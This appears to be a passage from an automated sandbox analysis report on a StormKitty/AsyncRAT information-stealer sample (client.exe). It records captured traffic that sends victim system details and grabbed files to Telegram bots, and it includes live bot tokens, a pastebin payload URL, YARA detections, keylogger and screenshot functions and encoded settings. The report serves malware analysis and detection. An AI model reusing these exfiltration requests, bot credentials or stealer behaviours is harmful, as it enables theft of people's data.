20%F0%9F%A7%AD%20Device:%0A%20%20%20%E2%88%9F%20%F0%9F%97%9D%20Windows%20product%20key%0A%20%20%20%E2%88%9F%20%F0%9F%8C%83%20Desktop%20screenshot%0A%0A%20%20%F0%9F%93%84%20File%20Grabber:%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Database%20files:%2011%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Documents:%2045%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Images:%2030%0A%0A%20Telegram%20Channel:%20@X_Splinter&parse_mode=Markdown&disable_web_page_preview=True HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot6706004956:AAHi06O7O8U_fUdqMr4fnu7ENp6SSG3o288/sendMessage?chat_id=6099718241&text=%F0%9F%93%81%20Uploading%20Log%20Folders... HTTP/1.1Host: api.telegram.org
Source: global traffic	HTTP traffic detected: POST /bot6706004956:AAHi06O7O8U_fUdqMr4fnu7ENp6SSG3o288/sendDocument?chat_id=6099718241 HTTP/1.1Content-Type: multipart/form-data; boundary="a7f4e83a-1230-4485-8fb9-aa73c3bec301"Host: api.telegram.orgContent-Length: 153239Expect: 100-continue
Source: global traffic	HTTP traffic detected: GET /raw/7B75u64B HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot5390757788:AAFV65Ydun9OP40g78XxI5eDbV42KqHY5mU/sendDocument?chat_id=5283662956 HTTP/1.1Content-Type: multipart/form-data; boundary="48fb546e-4352-4c90-bfcb-17480074267e"Host: api.telegram.orgContent-Length: 153239Expect: 100-continue
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: icanhazip.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 104.20.3.235 104.20.3.235
Source: Joe Sandbox View	IP Address: 104.20.3.235 104.20.3.235
Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 104.16.185.241 104.16.185.241

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: TELEGRAMRU TELEGRAMRU

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown

DNS query: name: icanhazip.com

Source: Network traffic

Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49707 -> 149.154.167.220:443

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /geolocation/wifi?v=1.1&bssid=00:50:56:a7:21:15 HTTP/1.1Host: api.mylnikov.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot6706004956:AAHi06O7O8U_fUdqMr4fnu7ENp6SSG3o288/sendMessage?chat_id=6099718241&text=%0A%20%20%F0%9F%8C%AA%20WorldWind%20Pro%20-%20Results:%0ADate:%202024-09-13%2011:42:01%20pm%0ASystem:%20Windows%2010%20Pro%20(64%20Bit)%0AUsername:%20user%0ACompName:%20610930%0ALanguage:%20%F0%9F%87%A8%F0%9F%87%AD%20en-CH%0AAntivirus:%20Windows%20Defender.%0A%0A%20%20%F0%9F%92%BB%20Hardware:%0ACPU:%20Intel(R)%20Core(TM)2%20CPU%206600%20@%202.40%20GHz%0AGPU:%20F_5P5%0ARAM:%204095MB%0AHWID:%203D06009743%0APower:%20NoSystemBattery%20(1%25)%0AScreen:%201280x1024%0A%0A%20%20%F0%9F%93%A1%20Network:%20%0AGateway%20IP:%20192.168.2.1%0AInternal%20IP:%20No%20network%20adapters%20with%20an%20IPv4%20address%20in%20the%20system!%0AExternal%20IP:%208.46.123.33%0ABSSID:%2000:50:56:a7:21:15%0A%0A%20%20%F0%9F%92%B8%20Domains%20info:%0A%20%20%20%E2%88%9F%20%F0%9F%8F%A6%20Bank%20Logs%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%92%B0%20Crypto%20Logs%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%8D%93%20Freaky%20Logs%20(No%20data)%0A%0A%20%20%F0%9F%8C%90%20Logs:%0A%20%20%20%E2%88%9F%20%E2%8F%B3%20History:%201%0A%20%20%20%E2%88%9F%20%F0%9F%94%96%20Bookmarks:%205%0A%0A%20%20%F0%9F%97%83%20Software:%0A%0A%20%20%F0%9F%A7%AD%20Device:%0A%20%20%20%E2%88%9F%20%F0%9F%97%9D%20Windows%20product%20key%0A%20%20%20%E2%88%9F%20%F0%9F%8C%83%20Desktop%20screenshot%0A%0A%20%20%F0%9F%93%84%20File%20Grabber:%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Database%20files:%2011%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Documents:%2045%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Images:%2030%0A%0A%20Telegram%20Channel:%20@X_Splinter&parse_mode=Markdown&disable_web_page_preview=True HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot6706004956:AAHi06O7O8U_fUdqMr4fnu7ENp6SSG3o288/sendMessage?chat_id=6099718241&text=%F0%9F%93%81%20Uploading%20Log%20Folders... HTTP/1.1Host: api.telegram.org
Source: global traffic	HTTP traffic detected: GET /raw/7B75u64B HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: icanhazip.comConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: 114.82.9.0.in-addr.arpa
Source: global traffic	DNS traffic detected: DNS query: icanhazip.com
Source: global traffic	DNS traffic detected: DNS query: api.mylnikov.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org
Source: global traffic	DNS traffic detected: DNS query: pastebin.com

Source: unknown

HTTP traffic detected: POST /bot6706004956:AAHi06O7O8U_fUdqMr4fnu7ENp6SSG3o288/sendDocument?chat_id=6099718241 HTTP/1.1Content-Type: multipart/form-data; boundary="a7f4e83a-1230-4485-8fb9-aa73c3bec301"Host: api.telegram.orgContent-Length: 153239Expect: 100-continue

Source: client.exe, 00000000.00000002.4492278426.0000000003618000.00000004.00000800.00020000.00000000.sdmp, client.exe, 00000000.00000002.4492278426.0000000003696000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: client.exe, 00000000.00000002.4492278426.0000000003618000.00000004.00000800.00020000.00000000.sdmp, client.exe, 00000000.00000002.4492278426.0000000003696000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.orgd
Source: client.exe, 00000000.00000002.4492278426.0000000003618000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pastebin.com
Source: client.exe, 00000000.00000002.4492278426.0000000003618000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pastebin.comd
Source: client.exe, 00000000.00000002.4492278426.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: tmpD3F3.tmp.dat.0.dr, tmpD3B1.tmp.dat.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: client.exe, 00000000.00000002.4492278426.0000000003058000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.mylnikov.org
Source: client.exe, 00000000.00000002.4492278426.0000000003058000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.mylnikov.org/geolocation/wifi?v=1.1&bssid=00:50:56:a7:21:15
Source: client.exe, 00000000.00000002.4492278426.0000000003085000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: client.exe	String found in binary or memory: https://api.telegram.org/bot
Source: client.exe, 00000000.00000002.4492278426.0000000003696000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot5390757788:AAFV65Ydun9OP40g78XxI5eDbV42KqHY5mU/sendDocument?chat_id=5283
Source: client.exe, 00000000.00000002.4492278426.0000000003618000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot6706004956:AAHi06O7O8U_fUdqMr4fnu7ENp6SSG3o288/sendDocument?chat_id=6099
Source: client.exe, 00000000.00000002.4492278426.00000000030DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot6706004956:AAHi06O7O8U_fUdqMr4fnu7ENp6SSG3o288/sendMessage?chat_id=60997
Source: client.exe	String found in binary or memory: https://api.telegram.org/file/bot
Source: client.exe, 00000000.00000002.4492278426.0000000003618000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.orgD
Source: tmpD3F3.tmp.dat.0.dr, tmpD3B1.tmp.dat.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: tmpD3F3.tmp.dat.0.dr, tmpD3B1.tmp.dat.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: tmpD3F3.tmp.dat.0.dr, tmpD3B1.tmp.dat.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: tmpD3F3.tmp.dat.0.dr, tmpD3B1.tmp.dat.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: tmpD3F3.tmp.dat.0.dr, tmpD3B1.tmp.dat.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: tmpD3F3.tmp.dat.0.dr, tmpD3B1.tmp.dat.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: client.exe	String found in binary or memory: https://github.com/LimerBoy/StormKitty
Source: client.exe, 00000000.00000002.4492278426.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/LimerBoy/StormKitty0&mq
Source: client.exe, 00000000.00000002.4492278426.0000000003618000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com
Source: client.exe	String found in binary or memory: https://pastebin.com/raw/7B75u64B
Source: client.exe, 00000000.00000002.4492278426.0000000003618000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/7B75u64Bd
Source: client.exe	String found in binary or memory: https://raw.githubusercontent.com/LimerBoy/StormKitty/master/StormKitty/stub/packages/DotNetZip.1.13
Source: tmpD4C4.tmp.dat.0.dr	String found in binary or memory: https://support.mozilla.org
Source: tmpD4C4.tmp.dat.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: tmpD4C4.tmp.dat.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: tmpD3F3.tmp.dat.0.dr, tmpD3B1.tmp.dat.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: tmpD3F3.tmp.dat.0.dr, tmpD3B1.tmp.dat.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: tmpD4C4.tmp.dat.0.dr	String found in binary or memory: https://www.mozilla.org
Source: tmpD4C4.tmp.dat.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: tmpD4C4.tmp.dat.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: History.txt.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/)
Source: places.raw.0.dr, tmpD4C4.tmp.dat.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: tmpD4C4.tmp.dat.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: places.raw.0.dr, tmpD4C4.tmp.dat.0.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: places.raw.0.dr, tmpD4C4.tmp.dat.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716

Source: unknown	HTTPS traffic detected: 172.67.196.114:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.3.235:443 -> 192.168.2.5:49711 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected AsyncRAT

Source: Yara match	File source: client.exe, type: SAMPLE
Source: Yara match	File source: 0.0.client.exe.d50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.2022542061.0000000000D52000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: client.exe PID: 6548, type: MEMORYSTR

Contains functionality to capture screen (.Net source)

Source: client.exe, DesktopScreenshot.cs

.Net Code: Make

Contains functionality to log keystrokes (.Net Source)

Source: client.exe, Keylogger.cs	.Net Code: SetHook
Source: client.exe, Keylogger.cs	.Net Code: KeyboardLayout

Spam, unwanted Advertisements and Ransom Demands

Modifies existing user documents (likely ransomware behavior)

Source: C:\Users\user\Desktop\client.exe	File deleted: C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Desktop\BJZFPPWAPT\NYMMPCEIMA.png	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	File deleted: C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Desktop\GRXZDKKVDB\PALRGUCVEH.xlsx	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	File deleted: C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Desktop\DUUDTUBZFW.png	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	File deleted: C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Desktop\GIGIYTFFYT.png	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	File deleted: C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Desktop\PALRGUCVEH.jpg	Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: client.exe, type: SAMPLE	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: client.exe, type: SAMPLE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: client.exe, type: SAMPLE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: client.exe, type: SAMPLE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: client.exe, type: SAMPLE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 0.0.client.exe.d50000.0.unpack, type: UNPACKEDPE	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: 0.0.client.exe.d50000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 0.0.client.exe.d50000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 0.0.client.exe.d50000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.0.client.exe.d50000.0.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 00000000.00000000.2022542061.0000000000D52000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: 00000000.00000000.2022542061.0000000000D52000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 00000000.00000002.4492278426.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: Process Memory Space: client.exe PID: 6548, type: MEMORYSTR	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: Process Memory Space: client.exe PID: 6548, type: MEMORYSTR	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen

Source: C:\Users\user\Desktop\client.exe	Code function: 0_2_02FB6390	0_2_02FB6390
Source: C:\Users\user\Desktop\client.exe	Code function: 0_2_02FB5AC0	0_2_02FB5AC0
Source: C:\Users\user\Desktop\client.exe	Code function: 0_2_02FB5778	0_2_02FB5778
Source: C:\Users\user\Desktop\client.exe	Code function: 0_2_02FB9760	0_2_02FB9760
Source: C:\Users\user\Desktop\client.exe	Code function: 0_2_02FB9750	0_2_02FB9750
Source: C:\Users\user\Desktop\client.exe	Code function: 0_2_05ED05FF	0_2_05ED05FF
Source: C:\Users\user\Desktop\client.exe	Code function: 0_2_05ED0600	0_2_05ED0600
Source: C:\Users\user\Desktop\client.exe	Code function: 0_2_05EDC108	0_2_05EDC108
Source: C:\Users\user\Desktop\client.exe	Code function: 0_2_05EDC0F7	0_2_05EDC0F7
Source: C:\Users\user\Desktop\client.exe	Code function: 0_2_05ED5D60	0_2_05ED5D60
Source: C:\Users\user\Desktop\client.exe	Code function: 0_2_05ED5D52	0_2_05ED5D52

Source: client.exe, 00000000.00000002.4491626745.000000000123E000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: OriginalFilenameclr.dllT vs client.exe

Source: client.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: client.exe, type: SAMPLE	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: client.exe, type: SAMPLE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: client.exe, type: SAMPLE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: client.exe, type: SAMPLE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: client.exe, type: SAMPLE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 0.0.client.exe.d50000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: 0.0.client.exe.d50000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 0.0.client.exe.d50000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 0.0.client.exe.d50000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.0.client.exe.d50000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 00000000.00000000.2022542061.0000000000D52000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: 00000000.00000000.2022542061.0000000000D52000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 00000000.00000002.4492278426.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: Process Memory Space: client.exe PID: 6548, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: Process Memory Space: client.exe PID: 6548, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions

Source: client.exe, Settings.cs

Base64 encoded string: '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

Source: classification engine

Classification label: mal100.rans.troj.spyw.evad.winEXE@17/115@5/5

Source: C:\Users\user\Desktop\client.exe

File created: C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0

Jump to behavior

Source: C:\Users\user\Desktop\client.exe	Mutant created: NULL
Source: C:\Users\user\Desktop\client.exe	Mutant created: \Sessions\1\BaseNamedObjects\AsyncMutex_6SI8OkPnk
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1396:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7140:120:WilError_03

Source: C:\Users\user\Desktop\client.exe

File created: C:\Users\user\AppData\Local\Temp\tmpD3B1.tmp

Jump to behavior

Source: client.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: client.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%

Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
